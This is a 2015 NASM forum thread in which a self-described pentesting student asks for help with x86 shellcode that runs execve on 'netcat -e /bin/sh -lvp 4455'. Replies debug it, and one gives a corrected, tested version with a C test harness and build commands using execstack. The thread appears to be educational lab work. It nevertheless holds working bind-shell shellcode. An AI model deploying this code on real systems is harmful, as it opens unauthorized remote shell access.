NASM - The Netwide Assembler
NASM Forum => Programming with NASM => Topic started by: danjoemart on March 10, 2015, 05:59:46 PM
-
Hello,
I have started playing around with Nasm last Friday and my day job is a network engineer so I have little experience programming. I am just hoping someone with more experience and skill can tell me what I am doing wrong and why my program is not running. I am simply trying to use the execve system call to execute my netcat command. The command works fine on the bash terminal and when I use gdb everything looks fine in memory so I really don't understand what I am doing wrong. The netcat command which works from terminal is show below.
/bin/netcat -e /bin/sh -lvp 4455
My nasm code is shown below.
global _start
section .text
_start:
jmp short forward
back:
pop esi
xor eax, eax
mov byte [esi + 11], al ; terminate /bin/netcat
mov byte [esi + 14], al ; terminate -e
mov byte [esi + 22], al ; terminate /bin/sh
mov byte [esi + 27], al ; terminate -lvp
mov byte [esi + 32], al ; terminate 4455
mov long [esi + 33], esi ; address of /bin/netcat in AAAA
lea ebx, [esi + 12] ; get address of -e
mov long [esi + 38], ebx ; store address of -e in BBBB
lea ebx, [esi + 15] ; get address of /bin/sh
mov long [esi + 42], ebx ; store address of /bin/sh in CCCC
lea ebx, [esi + 22] ; get address of -lvp
mov long [esi + 46], ebx ; store address of -lvp in DDDD
lea ebx, [esi + 28] ; get address of 4455
mov long [esi + 50], ebx ; store address of 4455 in EEEE
mov long [esi + 54], eax ; put NULL in FFFF
mov byte al, 0x0b ; pass the execve syscall number as argument
mov ebx, esi
lea ecx, [esi + 33] ; /bin/netcat -e /bin/sh etc etc
lea edx, [esi + 54] ; NULL
int 0x80 ; Run the execve syscall
forward:
call back
db "/bin/netcat#-e#/bin/sh#--lvp#4455#AAAABBBBCCCCDDDDEEEEFFFF"
; 01234567890123456789012345678901234567890123456789012345678901234567890
; 0 1 2 3 4 5 6 7
Thanks for your help or suggestions in advance.
Joe
-
I am simply trying to use the execve system call to execute my netcat command.
No you're not. You're attempting to "inject" this code into someplace it doesn't belong. Do you have some legitimate reason for doing that?
The reason your program won't run is that you're attempting to write to read-only memory.
Later,
Frank
-
Sorry for the unclear post. I am a student on pentester academy. I am trying to learn assembly shell coding and gdb. I am basically compiling and linking the assembly program. Then using objdump I am extracting the shell code and putting it inside a c program to execute. I am simply trying to learn assembly, gdb and practice it on a x86 32bit ubuntu 10.04 test vm. I was just hoping someone more familiar to these topics could spot something I am doing wrong. Once again this work is being done strictly on my test machines.
The program does execute but the port is never actually opened. The exact commands I run are:
nasm -f elf32 -o $1.o $1.nasm
ld -z execstack -o $1 $1.o
objdump -d newfin|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
gcc -fno-stack-protector -z execstack shellcodetest.c -o shellcodetest
Then I use gdb to trace through the program and everything to me seems fine.
End of assembler dump.
(gdb) x/5s *0x804a0a4
0x804a083 <code+67>: "/bin/netcat"
0x804a08f <code+79>: "-e"
0x804a092 <code+82>: "/bin/sh"
0x804a09a <code+90>: "-lvp"
0x804a09f <code+95>: "4455"
Any suggestions or comments would be appreciated. I have definitely hit a road block.
Thanks,
Joe
-
Shellcoding is generally frowned upon but I'll throw you a bone this time. The problem is that, shellcode isn't a program, so you don't build it like you would your normal program. 1st, you don't use sections/segments. 2nd, since you're code is relocatable there is no point in defining anything as global. 3rd since your shellcode will be used from C, you can drop that objdump line and use xxd (comes with most linux distributions anyway). 4th this is a block of memory, use "-f bin" not "-f elf". So the process would look something like this.
jmp short forward
back:
pop esi
xor eax, eax
mov byte [esi + 11], al ; terminate /bin/netcat
mov byte [esi + 14], al ; terminate -e
mov byte [esi + 22], al ; terminate /bin/sh
mov byte [esi + 27], al ; terminate -lvp
mov byte [esi + 32], al ; terminate 4455
mov long [esi + 33], esi ; address of /bin/netcat in AAAA
lea ebx, [esi + 12] ; get address of -e
mov long [esi + 38], ebx ; store address of -e in BBBB
lea ebx, [esi + 15] ; get address of /bin/sh
mov long [esi + 42], ebx ; store address of /bin/sh in CCCC
lea ebx, [esi + 22] ; get address of -lvp
mov long [esi + 46], ebx ; store address of -lvp in DDDD
lea ebx, [esi + 28] ; get address of 4455
mov long [esi + 50], ebx ; store address of 4455 in EEEE
mov long [esi + 54], eax ; put NULL in FFFF
mov byte al, 0x0b ; pass the execve syscall number as argument
mov ebx, esi
lea ecx, [esi + 33] ; /bin/netcat -e /bin/sh etc etc
lea edx, [esi + 54] ; NULL
int 0x80 ; Run the execve syscall
forward:
call back
db "/bin/netcat#-e#/bin/sh#--lvp#4455#AAAABBBBCCCCDDDDEEEEFFFF"
; 01234567890123456789012345678901234567890123456789012345678901234567890
; 0 1 2 3 4 5 6 7
$ nasm -f bin shellcode.asm -o shellcode
$ xxd -i shellcode > shellcode.h
Include shellcode.h into your shellcodetest.c file and edit shellcodetest.c accordingly.
-
Ummmm...
bits 32
no?
Best,
Frank
-
Okay, I've got this working and tested. BITS 32 was needed to create the proper call instruction. Also, the command line for netcat wasn't right, I've fixed it and the associated indices here...
BITS 32
jmp short forward
back:
pop esi
xor eax, eax
mov byte [esi + 11], al ; terminate /bin/netcat
mov byte [esi + 14], al ; terminate -e
mov byte [esi + 22], al ; terminate /bin/sh
mov byte [esi + 27], al ; terminate -lvp
mov byte [esi + 32], al ; terminate 4455
mov long [esi + 33], esi ; address of /bin/netcat in AAAA
lea ebx, [esi + 12] ; get address of -e
mov long [esi + 37], ebx ; store address of -e in BBBB
lea ebx, [esi + 15] ; get address of /bin/sh
mov long [esi + 41], ebx ; store address of /bin/sh in CCCC
lea ebx, [esi + 23] ; get address of -lvp
mov long [esi + 45], ebx ; store address of -lvp in DDDD
lea ebx, [esi + 28] ; get address of 4455
mov long [esi + 49], ebx ; store address of 4455 in EEEE
mov long [esi + 53], eax ; put NULL in FFFF
mov byte al, 0x0b ; pass the execve syscall number as argument
mov ebx, esi
lea ecx, [esi + 33] ; /bin/netcat -e /bin/sh etc etc
lea edx, [esi + 53] ; NULL
int 0x80 ; Run the execve syscall
ret
forward:
call back
db "/bin/netcat#-e#/bin/sh#-lvp#4455#AAAABBBBCCCCDDDDEEEEFFFF"
; 01234567890123456789012345678901234567890123456789012345678901234567890
; 0 1 2 3 4 5 6 7
#include <stdio.h>
#include "shellcode.h"
void main()
{
printf("Shellcode Length: %d\n", shellcode_len);
((void (*)())shellcode)();
}
$ nasm -f bin shellcode.asm -o shellcode
$ xxd -i shellcode > shellcode.h
$ gcc -fno-stack-protector -z execstack shellcodetest.c -o shellcodetest
$ ./shellcodetest
-
Thanks, Bryant!
IMHO, if Joe wants to learn script-kiddie sh!t, that's what he has to do. If someone wants to learn to use system calls - to run a program, or anything else - they ought to start with something simple and work up to it. Heck of a lot easier to understand... IMHO.
I don't have "netcat" on my system (BTW, I understand the actual name is "nc" - soft link to "netcat" maybe?). I used something I figure we all have...
; nasm -f elf32 runnasm.asm
; ld -o runnasm runnasm.o [-m elf_i386 for 64-bit systems]
global _start
section .data
; name of program we want to run
; your location for Nasm may be different
; check with "which nasm" - alter if required
progname db "/usr/bin/nasm", 0
; command line for our program
; if more than one argument, use separate strings
; and add 'em to "progargs"
progswitch db "-h", 0 ; just to prove we did something
progargs dd progname, progswitch, 0
section .text
_start:
mov edx, 0 ; no environment
mov ecx, progargs
mov ebx, progname
mov eax, 11 ; sys_execve
int 80h
; if we succeed, we don't return
; if sys_execve fails, return the errno
; (display with "echo $?")
mov ebx, eax
neg ebx ; negate it for easier reading
mov eax, 1 ; sys_exit
int 80h
This "works for me". There's a lot of "working up to it" to be done before it does anything useful, but that's the way to "learn assembly language"... IMHO.
Best,
Frank
-
I don't have "netcat" on my system (BTW, I understand the actual name is "nc" - soft link to "netcat" maybe?).
I have a fairly simple Debian Linux install ATM. Before this post I didn't even have nc/netcat but for the purpose of testing the code, I ran "apt-get" for netcat and got nc, nc.traditional, and netcat all in the /bin directory. Since his code started with "/bin/netcat" I just left it that way.
This "works for me". There's a lot of "working up to it" to be done before it does anything useful, but that's the way to "learn assembly language"... IMHO.
I agree, shellcoding isn't the ideal way to learn assembly and I doubt anyone serious about assembly language is going to start out that way. However, many colleges include "pen-testing" as part of their network security administration programs and those classes do include minor reference to shellcoding, so I'm not as as aggressive (for lack of a better word) in my response to such requests as I would have been in the past.